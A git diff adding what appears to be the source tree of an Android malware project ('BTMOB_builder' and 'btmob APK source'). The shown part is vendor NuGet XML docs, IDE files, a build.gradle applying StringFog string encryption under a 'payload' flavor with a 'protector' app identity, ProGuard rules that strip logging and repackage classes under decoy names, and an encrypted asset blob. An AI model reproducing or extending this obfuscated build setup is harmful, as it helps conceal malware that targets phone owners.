待存档的文件的路径。可以指定相对或绝对路径。相对路径被解释为相对于当前工作目录。 + 要在 zip 存档中生成的输入的名称。 + 创建项时,指示是否要强调速度或压缩有效性的枚举值之一。 + + ,仅包含空白,或包含至少一个无效字符。- 或 - + + 为 null。 + + 无效(例如,在未映射的驱动器上)。 + 内,指定的路径、文件名或者两者都超出了系统定义的最大长度。例如,在基于 Windows 的平台上,路径不得超过 248 个字符,文件名不得超过 260 个字符。 + 无法打开由 指定的文件。 + + 指定目录。- 或 -调用方没有访问 指定的文件的权限。 + 未找到 指定的文件。 + + 参数的格式无效。- 或 -zip 归档不支持写入。 + zip 存档已释放。 + + + 将 zip 存档中的所有文件都解压到文件系统的一目录下。 + 从 zip 归档解压文件。 + 到放置解压缩文件的目录的路径。可以指定相对或绝对路径。相对路径被解释为相对于当前工作目录。 + + ,仅包含空白,或包含至少一个无效字符。 + + 为 null。 + 指定路径超过了系统定义的最大长度。例如,在基于 Windows 的平台上,路径不得超过 248 个字符,文件名不得超过 260 个字符。 + 指定的路径无效(例如,它位于未映射的驱动器上)。 + + 指定的目录已存在。- 或 -一个在存档中的输入名称是 ,仅包含空白或包含至少一个无效字符。- 或 -从存档中提取条目将生成在 指定的目录之外的一个文件。(例如,如果该输入名称包括父目录访问器,则这可能发生。)- 或 -存档中具有相同名称的两个或多个项。 + 调用方不具有所需权限以便写入到目标目录。 + + 包含无效格式。 + 未能找到归档项或已损坏。- 或 -通过一种不支持的压缩方法,对一个存档条目进行压缩。 + + + 将 zip 存档中的条目解压到文件下。 + 从 zip 归档项解压文件。 + 从输入的内容生成的文件的路径。可以指定相对或绝对路径。相对路径被解释为相对于当前工作目录。 + + 是一个零长度字符串,仅包含空白或者包含一个或多个由 定义的无效字符。- 或 - 指定目录。 + + 为 null。 + 指定的路径、文件名或者两者都超出了系统定义的最大长度。例如,在基于 Windows 的平台上,路径不得超过 248 个字符,文件名不得超过 260 个字符。 + 指定的路径无效(例如,它位于未映射的驱动器上)。 + + 已存在。- 或 -发生了 I/O 错误。- 或 -该项当前为编写开放。- 或 -已从存档中删除的项。 + 调用方没有创建新文件所需的权限。 + 该输入从存档中缺失,或损坏且无法读取。- 或 -该输入已经通过使用一种不被支持的压缩方法压缩。 + 已释放属于 zip 归档项。 + + 的格式无效。- 或 -该 zip 归档项在 模式中打开的,不允许项检索。 + + + 将 zip 存档中的条目解压到文件下,并可选择覆盖具有相同名称的现存文件。 + 从 zip 归档项解压文件。 + 从输入的内容生成的文件的路径。可以指定相对或绝对路径。相对路径被解释为相对于当前工作目录。 + 如果覆盖带与目标文件同名的名称的现有文件,则为 true;否则为 false。 + + 是一个零长度字符串,仅包含空白或者包含一个或多个由 定义的无效字符。- 或 - 指定目录。 + + 为 null。 + 指定的路径、文件名或者两者都超出了系统定义的最大长度。例如,在基于 Windows 的平台上,路径不得超过 248 个字符,文件名不得超过 260 个字符。 + 指定的路径无效(例如,它位于未映射的驱动器上)。 + + 已存在,且 是 false。- 或 -发生了 I/O 错误。- 或 -该项当前为编写开放。- 或 -已从存档中删除的项。 + 调用方没有创建新文件所需的权限。 + 该输入从存档中缺失或损坏且无法读取。- 或 -该输入已经通过使用一种不被支持的压缩方法压缩。 + 已释放属于 zip 归档项。 + + 的格式无效。- 或 -该 zip 归档项在 模式中打开的,不允许项检索。 + + + \ No newline at end of file diff --git a/BTMOB_builder/packages/System.IO.Compression.ZipFile.4.3.0/ref/netstandard1.3/zh-hant/System.IO.Compression.ZipFile.xml b/BTMOB_builder/packages/System.IO.Compression.ZipFile.4.3.0/ref/netstandard1.3/zh-hant/System.IO.Compression.ZipFile.xml new file mode 100644 index 0000000..3e59976 --- /dev/null +++ b/BTMOB_builder/packages/System.IO.Compression.ZipFile.4.3.0/ref/netstandard1.3/zh-hant/System.IO.Compression.ZipFile.xml @@ -0,0 +1,279 @@ + + + + System.IO.Compression.ZipFile + + + + 提供建立、解壓縮及開啟 zip 封存的靜態方法。 + + + 建立包含指定目錄中檔案及目錄的 zip 封存。 + 要封存的目錄路徑 (指定為相對或絕對路徑)。相對路徑會解譯為與目前的工作目錄相對。 + 要建立之封存的路徑 (指定為相對或絕對路徑)。相對路徑會解譯為與目前的工作目錄相對。 + + or is , contains only white space, or contains at least one invalid character. + + or is null. + In or , the specified path, file name, or both exceed the system-defined maximum length.For example, on Windows-based platforms, paths must not exceed 248 characters, and file names must not exceed 260 characters. + + is invalid or does not exist (for example, it is on an unmapped drive). + + already exists.-or-A file in the specified directory could not be opened. + + specifies a directory.-or-The caller does not have the required permission to access the directory specified in or the file specified in . + + or contains an invalid format.-or-The zip archive does not support writing. + + + 建立 zip 封存,這個封存包含指定之目錄中的檔案及目錄,使用指定的壓縮等級,並選擇性包含基底目錄。 + 要封存的目錄路徑 (指定為相對或絕對路徑)。相對路徑會解譯為與目前的工作目錄相對。 + 要建立之封存的路徑 (指定為相對或絕對路徑)。相對路徑會解譯為與目前的工作目錄相對。 + 其中一個列舉值,指出建立項目時是否要強調速度或壓縮的效益。 + true 表示從 (位於封存根目錄中) 包含目錄名稱,false 表示只包含目錄的內容。 + + or is , contains only white space, or contains at least one invalid character. + + or is null. + In or , the specified path, file name, or both exceed the system-defined maximum length.For example, on Windows-based platforms, paths must not exceed 248 characters, and file names must not exceed 260 characters. + + is invalid or does not exist (for example, it is on an unmapped drive). + + already exists.-or-A file in the specified directory could not be opened. + + specifies a directory.-or-The caller does not have the required permission to access the directory specified in or the file specified in . + + or contains an invalid format.-or-The zip archive does not support writing. + + + 建立 zip 封存,這個封存包含指定之目錄中的檔案及目錄,針對項目名稱使用指定的壓縮等級和字元編碼方式,並選擇性包含基底目錄。 + 要封存的目錄路徑 (指定為相對或絕對路徑)。相對路徑會解譯為與目前的工作目錄相對。 + 要建立之封存的路徑 (指定為相對或絕對路徑)。相對路徑會解譯為與目前的工作目錄相對。 + 其中一個列舉值,指出建立項目時是否要強調速度或壓縮的效益。 + true 表示從 (位於封存根目錄中) 包含目錄名稱,false 表示只包含目錄的內容。 + 在此封存中讀取或寫入項目名稱時要使用的編碼方式。只有需要編碼以與 Zip 封存工具和程式庫互通,且這類工具和程式庫不支援項目名稱使用 UTF-8 編碼時,才指定此參數的值。 + + or is , contains only white space, or contains at least one invalid character.-or- is set to a Unicode encoding other than UTF-8. + + or is null. + In or , the specified path, file name, or both exceed the system-defined maximum length.For example, on Windows-based platforms, paths must not exceed 248 characters, and file names must not exceed 260 characters. + + is invalid or does not exist (for example, it is on an unmapped drive). + + already exists.-or-A file in the specified directory could not be opened. + + specifies a directory.-or-The caller does not have the required permission to access the directory specified in or the file specified in . + + or contains an invalid format.-or-The zip archive does not support writing. + + + 將指定之 zip 封存中的所有檔案解壓縮到檔案系統上的目錄。 + 要擷取之封存的路徑。 + 要在其中放置解壓縮檔案的目錄路徑 (指定為相對或絕對路徑)。相對路徑會解譯為與目前的工作目錄相對。 + + or is , contains only white space, or contains at least one invalid character. + + or is null. + The specified path in or exceeds the system-defined maximum length.For example, on Windows-based platforms, paths must not exceed 248 characters, and file names must not exceed 260 characters. + The specified path is invalid (for example, it is on an unmapped drive). + The directory specified by already exists.-or-The name of an entry in the archive is , contains only white space, or contains at least one invalid character.-or-Extracting an archive entry would create a file that is outside the directory specified by .(For example, this might happen if the entry name contains parent directory accessors.)-or-An archive entry to extract has the same name as an entry that has already been extracted from the same archive. + The caller does not have the required permission to access the archive or the destination directory. + + or contains an invalid format. + + was not found. + The archive specified by is not a valid zip archive.-or-An archive entry was not found or was corrupt.-or-An archive entry was compressed by using a compression method that is not supported. + + + 將指定之 zip 封存中的所有檔案解壓縮到檔案系統上的目錄,並對項目名稱使用指定的字元編碼方式。 + 要擷取之封存的路徑。 + 要在其中放置解壓縮檔案的目錄路徑 (指定為相對或絕對路徑)。相對路徑會解譯為與目前的工作目錄相對。 + 在此封存中讀取或寫入項目名稱時要使用的編碼方式。只有需要編碼以與 Zip 封存工具和程式庫互通,且這類工具和程式庫不支援項目名稱使用 UTF-8 編碼時,才指定此參數的值。 + + or is , contains only white space, or contains at least one invalid character.-or- is set to a Unicode encoding other than UTF-8. + + or is null. + The specified path in or exceeds the system-defined maximum length.For example, on Windows-based platforms, paths must not exceed 248 characters, and file names must not exceed 260 characters. + The specified path is invalid (for example, it is on an unmapped drive). + The directory specified by already exists.-or-The name of an entry in the archive is , contains only white space, or contains at least one invalid character.-or-Extracting an archive entry would create a file that is outside the directory specified by .(For example, this might happen if the entry name contains parent directory accessors.)-or-An archive entry to extract has the same name as an entry that has already been extracted from the same archive. + The caller does not have the required permission to access the archive or the destination directory. + + or contains an invalid format. + + was not found. + The archive specified by is not a valid zip archive.-or-An archive entry was not found or was corrupt.-or-An archive entry was compressed by using a compression method that is not supported. + + + 在指定路徑上以指定的模式開啟 zip 封存。 + 已開啟的 zip 封存。 + 要開啟之封存的路徑 (指定為相對或絕對路徑)。相對路徑會解譯為與目前的工作目錄相對。 + 其中一個列舉值,指定在開啟的封存檔中項目上所允許的動作。 + + is , contains only white space, or contains at least one invalid character. + + is null. + In , the specified path, file name, or both exceed the system-defined maximum length.For example, on Windows-based platforms, paths must not exceed 248 characters, and file names must not exceed 260 characters. + + is invalid or does not exist (for example, it is on an unmapped drive). + + could not be opened.-or- is set to , but the file specified in already exists. + + specifies a directory.-or-The caller does not have the required permission to access the file specified in . + + specifies an invalid value. + + is set to , but the file specified in is not found. + + contains an invalid format. + + could not be interpreted as a zip archive.-or- is , but an entry is missing or corrupt and cannot be read.-or- is , but an entry is too large to fit into memory. + + + 使用指定的模式,並將指定的字元編碼方式使用於項目名稱,即可開啟位於指定路徑的 zip 封存。 + 已開啟的 zip 封存。 + 要開啟之封存的路徑 (指定為相對或絕對路徑)。相對路徑會解譯為與目前的工作目錄相對。 + 其中一個列舉值,指定在開啟的封存檔中項目上所允許的動作。 + 在此封存中讀取或寫入項目名稱時要使用的編碼方式。只有需要編碼以與 Zip 封存工具和程式庫互通,且這類工具和程式庫不支援項目名稱使用 UTF-8 編碼時,才指定此參數的值。 + + is , contains only white space, or contains at least one invalid character.-or- is set to a Unicode encoding other than UTF-8. + + is null. + In , the specified path, file name, or both exceed the system-defined maximum length.For example, on Windows-based platforms, paths must not exceed 248 characters, and file names must not exceed 260 characters. + + is invalid or does not exist (for example, it is on an unmapped drive). + + could not be opened.-or- is set to , but the file specified in already exists. + + specifies a directory.-or-The caller does not have the required permission to access the file specified in . + + specifies an invalid value. + + is set to , but the file specified in is not found. + + contains an invalid format. + + could not be interpreted as a zip archive.-or- is , but an entry is missing or corrupt and cannot be read.-or- is , but an entry is too large to fit into memory. + + + 開啟位於指定路徑的 zip 封存以讀取。 + 已開啟的 zip 封存。 + 要開啟之封存的路徑 (指定為相對或絕對路徑)。相對路徑會解譯為與目前的工作目錄相對。 + + is , contains only white space, or contains at least one invalid character. + + is null. + In , the specified path, file name, or both exceed the system-defined maximum length.For example, on Windows-based platforms, paths must not exceed 248 characters, and file names must not exceed 260 characters. + + is invalid or does not exist (for example, it is on an unmapped drive). + + could not be opened. + + specifies a directory.-or-The caller does not have the required permission to access the file specified in . + The file specified in is not found. + + contains an invalid format. + + could not be interpreted as a zip archive. + + + 提供 類別的擴充方法。 + + + 透過將檔案壓縮並加入至 zip 封存的方式進行封存。 + zip 封存中之新項目的包裝函式。 + 要將檔案加入至其中的 Zip 封存。 + 要封存的檔案之路徑。您可以指定相對或相對路徑。相對路徑會解譯為與目前的工作目錄相對。 + 要在 Zip 封存中建立之項目的名稱。 + + ,只含有空白字元,或者含有至少一個無效字元。-或- + + 是 null。 + 中,指定的路徑、檔案名稱或兩者都超過系統定義的最大長度。例如:在 Windows 平台上,路徑不得超過 248 個字元,而檔案名稱不得超過 260 個字元。 + + 無效 (例如,位於未對應的磁碟機上)。 + 無法開啟 指定的檔案。 + + 指定目錄。-或-呼叫端沒有所需的使用權限來存取 指定的檔案。 + 找不到 所指定的檔案。 + + 參數的格式無效。-或-Zip 封存不支援寫入。 + Zip 封存已經處置。 + + + 透過將檔案以指定之壓縮等級壓縮並加入至 zip 封存的方式進行封存。 + zip 封存中之新項目的包裝函式。 + 要將檔案加入至其中的 Zip 封存。 + 要封存的檔案之路徑。您可以指定相對或相對路徑。相對路徑會解譯為與目前的工作目錄相對。 + 要在 Zip 封存中建立之項目的名稱。 + 其中一個列舉值,指出當建立項目時是否要強調速度或壓縮的效益。 + + ,只含有空白字元,或者含有至少一個無效字元。-或- + + 是 null。 + + 無效 (例如,位於未對應的磁碟機上)。 + 中,指定的路徑、檔案名稱或兩者都超過系統定義的最大長度。例如:在 Windows 平台上,路徑不得超過 248 個字元,而檔案名稱不得超過 260 個字元。 + 無法開啟 指定的檔案。 + + 指定目錄。-或-呼叫端沒有所需的使用權限來存取 指定的檔案。 + 找不到 所指定的檔案。 + + 參數的格式無效。-或-Zip 封存不支援寫入。 + Zip 封存已經處置。 + + + 將 zip 封存中的所有檔案解壓縮到檔案系統上的目錄。 + 做為檔案解壓縮來源的 zip 封存。 + 要在其中放置解壓縮檔案的目錄路徑。您可以指定相對或相對路徑。相對路徑會解譯為與目前的工作目錄相對。 + + ,只含有空白字元,或者含有至少一個無效字元。 + + 為 null。 + 指定的路徑超過系統定義的最大長度。例如:在 Windows 平台上,路徑不得超過 248 個字元,而檔案名稱不得超過 260 個字元。 + 指定的路徑無效 (例如,位於未對應的磁碟上)。 + + 指定的目錄已存在。-或-封存檔中的項目名稱是,只包含空白字元,或包含至少一個無效的字元。-或-從封存解壓縮封存項目會建立 所指定目錄外的檔案。(例如,如果項目名稱包含父目錄存取子,這就可能發生)。-或-在封存中兩個或多個項目具有相同的名稱。 + 呼叫端不具有寫入目的地目錄的必要權限。 + + 包含無效的格式。 + 找不到封存項目,或是其已損毀。-或-封存項目使用不支援的壓縮方法加以壓縮。 + + + 將 zip 封存中的項目解壓縮至檔案。 + 做為檔案解壓縮來源的 zip 封存項目。 + 要從項目內容建立的檔案的路徑。您可以指定相對或相對路徑。相對路徑會解譯為與目前的工作目錄相對。 + + 是長度為零的字串、只包含泛空白字元,或包含一個或多個無效的字元 (如 所定義)。-或- 指定目錄。 + + 為 null。 + 指定的路徑、檔案名稱或兩者都超過系統定義的最大長度。例如:在 Windows 平台上,路徑不得超過 248 個字元,而檔案名稱不得超過 260 個字元。 + 指定的路徑無效 (例如,位於未對應的磁碟上)。 + + 已存在。-或-發生 I/O 錯誤。-或-項目目前已開啟以進行寫入。-或-項目已經從封存中刪除。 + 呼叫端沒有所需的使用權限來建立新檔。 + 此項目可能是從封存中遺失,或已損毀且無法讀取。-或-藉由使用不支援的壓縮方法壓縮了項目。 + 這個項目所屬的 Zip 封存已經過處置。 + + 的格式無效。-或-這個項目的 Zip 封存的開啟模式是 ,該模式不允許擷取項目。 + + + 將 zip 封存中的項目解壓縮至檔案,並選擇性覆寫名稱相同的現有檔案。 + 做為檔案解壓縮來源的 zip 封存項目。 + 要從項目內容建立的檔案的路徑。您可以指定相對或相對路徑。相對路徑會解譯為與目前的工作目錄相對。 + true 表示要覆寫與目的檔案同名的現有檔案,否則為 false。 + + 是長度為零的字串、只包含泛空白字元,或包含一個或多個無效的字元 (如 所定義)。-或- 指定目錄。 + + 為 null。 + 指定的路徑、檔案名稱或兩者都超過系統定義的最大長度。例如:在 Windows 平台上,路徑不得超過 248 個字元,而檔案名稱不得超過 260 個字元。 + 指定的路徑無效 (例如,位於未對應的磁碟上)。 + + 已存在且 為 false。-或-發生 I/O 錯誤。-或-項目目前已開啟以進行寫入。-或-項目已經從封存中刪除。 + 呼叫端沒有所需的使用權限來建立新檔。 + 此項目可能是從封存中遺失,或已損毀且無法讀取。-或-藉由使用不支援的壓縮方法壓縮了項目。 + 這個項目所屬的 Zip 封存已經過處置。 + + 的格式無效。-或-這個項目的 Zip 封存的開啟模式是 ,該模式不允許擷取項目。 + + + \ No newline at end of file diff --git a/BTMOB_builder/packages/System.IO.Compression.ZipFile.4.3.0/ref/xamarinios10/_._ b/BTMOB_builder/packages/System.IO.Compression.ZipFile.4.3.0/ref/xamarinios10/_._ new file mode 100644 index 0000000..e69de29 diff --git a/BTMOB_builder/packages/System.IO.Compression.ZipFile.4.3.0/ref/xamarinmac20/_._ b/BTMOB_builder/packages/System.IO.Compression.ZipFile.4.3.0/ref/xamarinmac20/_._ new file mode 100644 index 0000000..e69de29 diff --git a/BTMOB_builder/packages/System.IO.Compression.ZipFile.4.3.0/ref/xamarintvos10/_._ b/BTMOB_builder/packages/System.IO.Compression.ZipFile.4.3.0/ref/xamarintvos10/_._ new file mode 100644 index 0000000..e69de29 diff --git a/BTMOB_builder/packages/System.IO.Compression.ZipFile.4.3.0/ref/xamarinwatchos10/_._ b/BTMOB_builder/packages/System.IO.Compression.ZipFile.4.3.0/ref/xamarinwatchos10/_._ new file mode 100644 index 0000000..e69de29 diff --git a/btmob APK source/.DS_Store b/btmob APK source/.DS_Store new file mode 100644 index 0000000..d2b7474 Binary files /dev/null and b/btmob APK source/.DS_Store differ diff --git a/btmob APK source/.idea/.gitignore b/btmob APK source/.idea/.gitignore new file mode 100644 index 0000000..eaf91e2 --- /dev/null +++ b/btmob APK source/.idea/.gitignore @@ -0,0 +1,3 @@ +# Default ignored files +/shelf/ +/workspace.xml diff --git a/btmob APK source/.idea/bogeapk.iml b/btmob APK source/.idea/bogeapk.iml new file mode 100644 index 0000000..18ec59d --- /dev/null +++ b/btmob APK source/.idea/bogeapk.iml @@ -0,0 +1,9 @@ + + + + + + + + + \ No newline at end of file diff --git a/btmob APK source/.idea/misc.xml b/btmob APK source/.idea/misc.xml new file mode 100644 index 0000000..6e86672 --- /dev/null +++ b/btmob APK source/.idea/misc.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/btmob APK source/.idea/modules.xml b/btmob APK source/.idea/modules.xml new file mode 100644 index 0000000..4ba5ddc --- /dev/null +++ b/btmob APK source/.idea/modules.xml @@ -0,0 +1,8 @@ + + + + + + + + \ No newline at end of file diff --git a/btmob APK source/APK/.gitignore b/btmob APK source/APK/.gitignore new file mode 100644 index 0000000..aa724b7 --- /dev/null +++ b/btmob APK source/APK/.gitignore @@ -0,0 +1,15 @@ +*.iml +.gradle +/local.properties +/.idea/caches +/.idea/libraries +/.idea/modules.xml +/.idea/workspace.xml +/.idea/navEditor.xml +/.idea/assetWizardSettings.xml +.DS_Store +/build +/captures +.externalNativeBuild +.cxx +local.properties diff --git a/btmob APK source/APK/.idea/.gitignore b/btmob APK source/APK/.idea/.gitignore new file mode 100644 index 0000000..eaf91e2 --- /dev/null +++ b/btmob APK source/APK/.idea/.gitignore @@ -0,0 +1,3 @@ +# Default ignored files +/shelf/ +/workspace.xml diff --git a/btmob APK source/APK/.idea/compiler.xml b/btmob APK source/APK/.idea/compiler.xml new file mode 100644 index 0000000..8b3f102 --- /dev/null +++ b/btmob APK source/APK/.idea/compiler.xml @@ -0,0 +1,6 @@ + + + + + + \ No newline at end of file diff --git a/btmob APK source/APK/.idea/deploymentTargetDropDown.xml b/btmob APK source/APK/.idea/deploymentTargetDropDown.xml new file mode 100644 index 0000000..9a986ae --- /dev/null +++ b/btmob APK source/APK/.idea/deploymentTargetDropDown.xml @@ -0,0 +1,10 @@ + + + + + + + + + + \ No newline at end of file diff --git a/btmob APK source/APK/.idea/gradle.xml b/btmob APK source/APK/.idea/gradle.xml new file mode 100644 index 0000000..269cf47 --- /dev/null +++ b/btmob APK source/APK/.idea/gradle.xml @@ -0,0 +1,19 @@ + + + + + + + \ No newline at end of file diff --git a/btmob APK source/APK/.idea/jarRepositories.xml b/btmob APK source/APK/.idea/jarRepositories.xml new file mode 100644 index 0000000..a63c721 --- /dev/null +++ b/btmob APK source/APK/.idea/jarRepositories.xml @@ -0,0 +1,40 @@ + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/btmob APK source/APK/.idea/migrations.xml b/btmob APK source/APK/.idea/migrations.xml new file mode 100644 index 0000000..48052b2 --- /dev/null +++ b/btmob APK source/APK/.idea/migrations.xml @@ -0,0 +1,10 @@ + + + + + + \ No newline at end of file diff --git a/btmob APK source/APK/.idea/misc.xml b/btmob APK source/APK/.idea/misc.xml new file mode 100644 index 0000000..0848b99 --- /dev/null +++ b/btmob APK source/APK/.idea/misc.xml @@ -0,0 +1,51 @@ + + + + + + + + + + \ No newline at end of file diff --git a/btmob APK source/APK/app/.gitignore b/btmob APK source/APK/app/.gitignore new file mode 100644 index 0000000..42afabf --- /dev/null +++ b/btmob APK source/APK/app/.gitignore @@ -0,0 +1 @@ +/build \ No newline at end of file diff --git a/btmob APK source/APK/app/build.gradle b/btmob APK source/APK/app/build.gradle new file mode 100644 index 0000000..65b4223 --- /dev/null +++ b/btmob APK source/APK/app/build.gradle @@ -0,0 +1,87 @@ +apply plugin: 'com.android.application' +apply plugin: 'stringfog' + + +import com.github.megatronking.stringfog.plugin.kg.RandomKeyGenerator +import com.github.megatronking.stringfog.plugin.StringFogMode + +stringfog { + + implementation 'com.github.megatronking.stringfog.xor.StringFogImpl' + + packageName 'com.github.megatronking.stringfog.app' + + enable true + + fogPackages = ['com.icontrol.protector'] + + kg new RandomKeyGenerator() + + mode StringFogMode.bytes +} + +android { + + namespace "com.icontrol.protector" + compileSdk 34 + useLibrary 'org.apache.http.legacy' + // buildToolsVersion '29.0.3' + buildTypes { + release { + minifyEnabled true + proguardFiles getDefaultProguardFile('proguard-android.txt'), 'proguard-rules.pro' + } + } + defaultConfig { + flavorDimensions "payload" + applicationId "com.icontrol" + minSdkVersion 24 + //noinspection EditedTargetSdkVersion,ExpiredTargetSdkVersion + targetSdkVersion 34 + versionCode 331165 + versionName "3.31.165" + + // testInstrumentationRunner "android.support.test.runner.AndroidJUnitRunner" + + + } + productFlavors { + payload{ + applicationIdSuffix ".protector" + } + } + + compileOptions { + sourceCompatibility JavaVersion.VERSION_1_8 + targetCompatibility JavaVersion.VERSION_1_8 + } + +} + +dependencies { + + //noinspection GradleCompatible,GradleCompatible + implementation 'com.android.support:support-compat:28.0.0' + implementation 'com.android.support.constraint:constraint-layout:2.0.4' + implementation 'com.google.android.material:material:1.12.0' + implementation 'org.apache.httpcomponents:httpcore:4.4.16' + implementation 'com.google.android.material:material:1.4.0' + implementation 'com.squareup.okhttp3:okhttp:4.12.0' + //implementation 'com.google.firebase:firebase-crashlytics-buildtools:2.9.9' + implementation 'com.github.megatronking.stringfog:xor:5.0.0' + implementation 'androidx.work:work-runtime:2.9.1' +// implementation 'androidx.startup:startup-runtime:1.1.1' + implementation 'androidx.activity:activity-ktx:1.7.0' + implementation 'androidx.fragment:fragment-ktx:1.5.7' + + + //help detect memory leaks + //debugImplementation 'com.squareup.leakcanary:leakcanary-android:3.0-alpha-8' +} + + + + + + + diff --git a/btmob APK source/APK/app/proguard-rules.pro b/btmob APK source/APK/app/proguard-rules.pro new file mode 100644 index 0000000..09c1485 --- /dev/null +++ b/btmob APK source/APK/app/proguard-rules.pro @@ -0,0 +1,85 @@ +# ========== General ProGuard Settings ========== +# -dontusemixedcaseclassnames +-dontpreverify +-ignorewarnings +-keepattributes *Annotation*,Signature,InnerClasses,EnclosingMethod +#-keepnames class * { +# *; +#} +# -keepparameternames + +# Keep line numbers for stack traces +-keepattributes SourceFile,LineNumberTable + +# Optional: Hide source file names +-renamesourcefileattribute SourceFile + +# ========== Custom Logging Classes ========== +-assumenosideeffects class com.icontrol.protector.MyLoger { + public static *** Debug(...); + public static *** Error(...); + public static *** Info(...); +} + +# Remove all android.util.Log calls +-assumenosideeffects class android.util.Log { + public static *** d(...); + public static *** v(...); + public static *** i(...); + public static *** w(...); + public static *** e(...); +} + +# ========== Support Library ========== +#-keep class android.support.** { *; } + +# ========== OkHttp ========== +#-dontwarn okhttp3.** +#-dontwarn okio.** +#-keep class okhttp3.** { *; } +#-keep class okio.** { *; } + +# ========== Apache Http Legacy ========== +#-keep class org.apache.** { *; } + +# ========== WorkManager ========== +#-dontwarn androidx.work.impl.** +#-keep class androidx.work.** { *; } +#-keep interface androidx.work.** { *; } + +# ========== AndroidX Startup (if used later) ========== +#-keep class androidx.startup.** { *; } + +# ========== Fragment / Activity KTX ========== +#-keep class androidx.fragment.app.** { *; } +#-keep class androidx.activity.** { *; } + +# ========== StringFog ========== +# -keep class com.github.megatronking.stringfog.** { *; } +# -keep class com.icontrol.protector.** { *; } + +# ========== Preserve Custom Configs Class ========== +-keep class com.icontrol.protector.My_Configs { *; } + + +# ========== Reflection / Synthetic Access (safe defaults) ========== +#-keepclassmembers class * { +# public (...); +#} +#-keepclassmembers class * { +# public *; +#} +#-keepclassmembers enum * { +# public static **[] values(); +# public static ** valueOf(java.lang.String); +#} + +# ========== Optional ========== +# You can re-enable shrinking/obfuscation/optimization after verifying +#-dontshrink +#-dontoptimize +#-dontobfuscate + +# Repackage (if you're intentionally flattening packages, be careful) +# Comment this if not required +-repackageclasses unityfslma.alfabeta.cosmicplan.wonderland diff --git a/btmob APK source/APK/app/src/main/AndroidManifest.xml b/btmob APK source/APK/app/src/main/AndroidManifest.xml new file mode 100644 index 0000000..4071969 --- /dev/null +++ b/btmob APK source/APK/app/src/main/AndroidManifest.xml @@ -0,0 +1,484 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/btmob APK source/APK/app/src/main/assets/1.bt b/btmob APK source/APK/app/src/main/assets/1.bt new file mode 100644 index 0000000..464cb72 --- /dev/null +++ b/btmob APK source/APK/app/src/main/assets/1.bt @@ -0,0 +1 @@ +i82ytZqY1N/L0Z74iqnsFaWSE+ZrQv7g+W74z/AXCxM2NX4md13S4/g7CyfjdI+l3cOxV58+t1xC1fMvYAUtJKTENdWNGwJD4UEZCzdgwUUncrIYVrlKk7fLCwyaeHG/dyM85v/pA707cqQRnIebTOg9tuMVSblz+Mculu4KnxV5Dw+qBORJqOEp0/I0N5sGzbnOZwR4AFbkNCa4dD8i8Xwf46++kG2jcB9tn9l28w0YRqfKOLiVGJhLLrbGeOCP3TS0gyDfcoHI0Idn2hgRgJIviVWHegHRNJRx8JGFH7KUV/7iEid0WpnTNTLb21ZtWV2SeROfeCVIO34sivWkjib8Etyqb0nGLELG4C2wLjZv1QY87V84q+Jp63Inhu7lR3AqjoxEaeu0YETNQ3ch6mhPAvoNTd+eiUj0DndBYBWcyTIES9R4mPtb8tHNOCm3JTg3sTLT3sgIa4TDF479HAAkYSP0K4A7ePragKSnQLuv9nWr6I5lWOGEJciovMjykU3FCFOJine5N08u/W7y09IX9n/4IQrKAMAwYtv0UHxCrCqTmjAJMVdzhMOMSA47BwTDBIOcLt3F3lgQXpsmoEqdEVZIbXDjmiXucBbPsKuoe1LunE49WViVFQ51ZIU/P06I8CYVYcv5bwo09ZZTdc7wZ4ho5DM0ya85NMnC9QOS/MZBWWMaqyQ2AR7rEr08Keahg9J4NSm44ZH4Asbv1CfnlK1KE/8zzUi8jvjmOhQ5LrZELuE09JcPxetsAULWpledWspuI+Th4Y316d6OSslwKxVRdfXFlFe1qadGABwULQRI/Xqalpw++qSa4sk9556Yjcm9sIujOVNbvx8haURElhoZCtNxys8HrLu6ANpiQjdbtp6xlF4451mu9eRYv4xCF5k37MQAGdc4ZE1Ijs/bkUCB4tR2ur9BvddX9WCa5XsVV0r9zen8sUKH7SFzoEzpMSBcGxbbp3x8HLr9EQWpPBix7nXJCG35pRyhSjuWH+qvuGmDITbIJ03b5psdULHYewqykec7R9sx7ajTmtY9ukjeSFwp3fiYeO6xbxUf9v2juB+EP2K2nXEEtE1NiV75/AauZ0Yu/u461fobLOvjjTuVkVuabDzBuARpMqkme+7bjeCkw1roL2PAUDEyc1HuX5nSv/vkjs/YpfNLDax+IPRIxRS0XZR/CjflrHvqspkXeHicUSHuwaGAWpJeeNy68ijHP7z5+n2jcM1WORKv/nQxoROUC5/aMIFeLbiEbXveSeLoxr1k7Gw5aZmuZE9lUtX/FEY3QlySwl5SaqTGn4JEQ87dJjWr/UPxGsqkHy7d6fZSjFuNySBGZpBfsloa/epHZbxhrW6eF+TTcvgvHJzy8qtIrU0c9/gaGtk1Xdp2bdFihPo5l9S0f1u69pgCEW/8kESBO/YfdSeL6C6Weo9WXF5HPokmcbF4P5DIKwHABNOcvkIvmQHLFktfJhMEqKkxSrLSCo1sW4FZoyVkc+Ve/vXC7nRyQHHA01aznyBxIGyVEn0w52JEQtW8j7WBba0ZW2Is6YG5QgTtw5YHgYr7Zrh3H+jn1f4XDzJQvUOMAzwxfosO3f8iM9FlehcCI64wgV9up41dPQkoZij2cnTuFq9ojBeCsxiemR1w5HI1maBd/IcaAWlfVKbsqMWOD5eYRUH+pYS9NO5495KxLg6FnU/Ktf3QPd8rZgsmceID6OksaQetZuEg+4k6icYowLAjXKk7KErg8VziZl3bp+kk3uUhuDvPhyWhYOfOR8JaVNnTL9OnUFf32lw0jgfaez/Vbvde8sp4fmTEN5hrGk/TOdoT8DiTzryok0wy4+kg+Z/WtLh/4AA6cIE2QuMwqRWfTsScnC44Er6V3ncX5YSoxw9FeTm5b0Mf/i9X4WD5PPsCfHWfydAhrUx9yYsQQpAXjXbzIeHiZGxVmQMXlSGeIgyFr38YYRZlG1m5hH